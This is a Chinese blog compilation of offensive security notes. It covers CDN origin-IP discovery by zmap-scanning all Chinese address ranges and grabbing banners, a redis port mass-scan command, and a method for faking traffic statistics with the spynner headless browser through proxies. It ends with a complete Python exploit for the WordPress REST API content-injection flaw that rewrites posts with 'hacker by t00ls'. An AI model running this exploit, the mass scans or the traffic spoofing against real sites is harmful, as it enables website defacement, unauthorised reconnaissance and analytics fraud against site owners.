使用Zmap获取CDN背后网站的真实IP

http://bobao.360.cn/learning/detail/211.html,测试了一个站,获取到的ip与实际ip不对应,不过存在dns防护的站也是一种尝试的办法,记录下使用笔记:

0x1. 获取 CN IP

从apnic获取亚洲区域所分配到的IP, 过滤出 CN 的 IP.
wget ftp://ftp.apnic.net/public/apnic/stats/apnic/delegated-apnic-latest

过滤CN获取ip使用下面脚本

#coding=utf-8
import math
import re
ips = []
masks = []
jieguo = []
txt = open('delegated-apnic-latest.txt').read()
ip = re.compile(r'\d+\.\d+\.\d+\.\d+',re.M)
mask = re.compile(r'\|([\d]{3,10})',re.M)
ips = ip.findall(txt)
masks = mask.findall(txt)
# print masks[0]
for i in range(len(ips)):
a = int(32-math.log(int(masks[i]))/math.log(2))
jieguo.append(ips[i]+'/'+str(a))
f = open('ip-cn.txt','a')
for l in jieguo:
f.writelines(l + '\n')
f.close()

0x2. 端口扫描

使用 zmap 对全 CN 的 IP 的 80 端口进行扫描. 我在公司电脑用了接近5个小时才扫描完;
zmap -w CN.txt -p 80 -o 80.txt

0x3. 获取 banner

#使用 zmap 的 banner-grab 对扫描出来80 端口开放的主机进行 banner 抓取

下载 zmap-1.2.1,进入目录 zmap-1.2.1/zmap-1.2.1/examples/banner-grab/
用make命令编译.c文件;然后就可以使用? banner-grab 了

#./banner-grab-tcp使用参数
[-c max_concurrency]
[-t connect_timeout]
[-r read_timeout]
[-v verbosity=0-5]
[-d send_data_file]
[-f ascii|hex|base64]
-p port

#修改 vi http-req 的host头信息;
#开始发送请求 获取banner

cat ../80.txt | ./banner-grab-tcp -c 1500 -d http-req -f ascii -p 80 -t 30 -r 30 > result.txt

0x04 数据处理

#最后提取信息,我测试了个站,与真实ip不一样;
grep “*.com” result.txt | wc -l

 

zmap -B 10M -p 6379-n 10000-o results.txt #扫描redis 6379端口 1万个ip

使用 spynner 欺骗流量统计

首先流量统计的标准 一般分为两种情况,第一种是后端直接做的统计,这种比较好搞,直接requests获取源代码就可以统计到了,但是大部分是另一种情况,使用CNZZ站长统计、百度统计等,这类统计使用外部js加载统计的,这种直接使用requests获取源代码理论是解析不了js的,没去测试,想了一种模拟真实浏览器去解析js请求,使用spynner扩展就可以了,然后需要获取有效代理,使用有效代理访问就可以了。

看了下主要用到 spynner 的下面几个方法:

#创建一个浏览器对象
browser = spynner.Browser()

#打开浏览器,并隐藏或显示
browser.hide()
browser.show()

#webkit加载页面
browser.load(“http://www.0535code.com”)
print browser.html.encode(“utf-8″)

#关闭该浏览器并删掉实例
browser.close()
del browser

#使用jquery
browser.load_jquery(True)
browser.radio(‘#radiomea’)
browser.wk_check(‘#checkmea’)
browser.check(‘#checkmea’)
browser.wk_select(‘#sel’, ‘aa’)
browser.select(‘#asel option[name=”bbb”]’, remove=False)
browser.fill(‘input[name=”w”]’, ‘foo’)

#配置代理和使用代理下载
browser.set_proxy(‘http://127.0.0.1:8888’)
browser.download(‘http://0535code.com’, proxy_url=’http://127.0.0.1:8888′)

更多使用参考:
https://pypi.python.org/pypi/spynner

wordpress REST Api 内容注入漏洞

突然发现博客的文章被改,HaCkEd?By?RxR?HaCkEr 开始以为是添加的,后来仔细看了下是把原来的文章修改了,还好朋友推荐用搜索引擎快照恢复了文章,哎,年前刚升级的最新版,年后立刻又爆新漏洞了。
API 地址则为:http://www.0535code.com/wp-json/
查看文章列表
GET /index.php/wp-json/wp/v2/posts
根据文章列表可以找到对应的id,检索文章
GET /index.php/wp-json/wp/v2/posts/500
USE:
python “wordpress REST Api.py” http://0535code.com 1671

import urllib2,sys,json
from lxml import etree

def get_api_url(wordpress_url):
    response = urllib2.urlopen(wordpress_url)
    data = etree.HTML(response.read())
    u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
    if 'rest_route' in u:
        print(' ! Warning, looks like permalinks are not enabled. This might not work!')
    return u

def get_posts(api_base):
    respone = urllib2.urlopen(api_base + 'wp/v2/posts')
    posts = json.loads(respone.read())

    for post in posts:
        print(' - Post ID: {}, Title: {}, Url: {}'
              .format(post['id'], post['title']['rendered'], post['link']))


def update_post(api_base, post_id):
    data = json.dumps({
        'title':'hacker by t00ls',
        'content': 'hacker by t00ls', #post_content
    })

    url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
    req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
    response = urllib2.urlopen(req).read()

    print('* Post updated. Check it out at {}'.format(json.loads(response)['link']))


def print_usage():
    print('Usage: {} <url> (optional: <post_id> <file with post_content>)'.format(__file__))

if __name__ == '__main__':

    # ensure we have at least a url
    if len(sys.argv) < 2:
        print_usage()
        sys.exit(1)

    # if we have a post id, we need content too
    if 2 < len(sys.argv) < 3:
        print('Please provide a file with post content with a post id')
        print_usage()
        sys.exit(1)

    print('* Discovering API Endpoint')
    api_url = get_api_url(sys.argv[1])
    print('* API lives at: {}'.format(api_url))

    # if we only have a url, show the posts we have have
    if len(sys.argv) < 3:
        print('* Getting available posts')
        get_posts(api_url)

        sys.exit(0)

    update_post(api_url, sys.argv[2])

    print('* Update complete!')